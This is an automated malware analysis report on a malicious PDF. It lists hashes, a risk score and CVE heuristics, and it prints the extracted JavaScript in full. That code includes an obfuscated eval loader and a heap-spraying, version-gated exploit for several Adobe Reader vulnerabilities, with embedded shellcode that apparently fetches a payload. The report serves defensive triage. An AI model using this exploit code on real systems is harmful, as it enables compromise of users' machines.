Malicious PDF — malware analysis report

Static analysis result for SHA-256 2fbdc743cdb519e5…

MALICIOUS

PDF

78.7 KB Authoring application: ring.fromChar First seen: 2012-09-15
MD5: 1f47883076d5f521731df26a25c932c0 SHA-1: 97d10957623abd8ad7d48ca0ddb1fd4464eec4eb SHA-256: 2fbdc743cdb519e570b0e725c112f5f8130015fd464b1ccd4c0ab859ffeb29f7
408 Risk Score

Malware Insights

The PDF document was flagged as suspicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, indicating a potential for malicious execution. The presence of JavaScript actions and embedded JS streams suggests the file may attempt to exploit vulnerabilities or download a secondary payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x138AD 390 bytes
SHA-256: 5eae5c191e39836e541ce2c1f42bf4a1d871184e9cd8b4e1d5b60967bc4b7290
Preview script
First 1,000 lines of the extracted script
var l = 'qweqwe'.substr;
var g = l();
t='le';
a=["a","e","k","l","b","z","v"];
e=g[a[1]+a[6]+a[0]+a[3]];
var seksm="";
cjj='his';
qbb='tit';
e('tieg=t'+cjj+"."+qbb+t);
t='cer'
mhm='produ';
e('ecd=t'+cjj+"."+mhm+t);
haz=e('St'+ecd+'Code');
cbqon = e(tieg);
e('k=cbqon.length');
for (i = 0; i < k; i+=2) {
	rgyc = cbqon[i] + cbqon[i+1];
	seksm += haz(rgyc);
}
e(seksm);
legacy_pdfkit_stage_000.js deobfuscated-js metadata Title array pair-sum decoded JavaScript at offset 0x52 3636 bytes
SHA-256: b4cb66c47816a5f421532eeedfd959f7d7508648c8e3021ae0441c9de42aa245
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u1334%ue2aa%uc3fa%ue5e8%uffff%ufaff%u121f%u1313%u924d%u4fff%u1312%u9a13%u9ef4%u035c%u7c9e%u2247%u44c8%u4042%u4040%u4040%u4040%u4046%u7b40%u1217%u1313%u4546%u7b40%u7d7c%u1313%u667b%u7f61%u477e%u9d7b%u1d5d%ufbff%u135b%u1313%ufb43%u136f%u1313%uc3ec%ud790%u7b1b%ufc5c%u165c%ufb43%u137f%u1313%uc3ec%ud396%u0466%u4779%ue04a%u7bb9%ued61%u05a0%u0efb%u1313%u4313%u42fb%u1313%uec13%u40c3%ued79%u9a7b%u127c%ufbae%u131b%u1313%ufb43%u132f%u1313%uc3ec%u2273%u77d3%u4398%u9823%u1f41%u4198%u9807%u3b61%u0baa%u1313%u2213%u22ec%ubfd3%u722f%u116f%u333f%udcd2%u121e%uf1d4%u92e3%u48ec%u59af%u9879%u0351%u0198%uca66%u579a%u0f37%ud072%u9873%u377f%u9837%u2f56%u4798%u6b16%uf912%u5998%u980b%u3349%uf812%u27f0%u985a%u9827%ufd12%uec22%ud322%ubfef%ud397%u1467%udcd2%u121e%uf8d4%u28e7%u376f%u663b%u98f2%u3749%uf812%u9875%u581f%u4998%u120f%u98f8%u9817%ufb12%u579a%u0f37%ud172%u131b%ufcfb%ueced%u7bec%u6767%u2963%u3c3c%u7775%u7175%u703d%u3d7c%u7070%u7c3c%u633d%u637b%u752c%u212e%u3521%u2e76%u1326';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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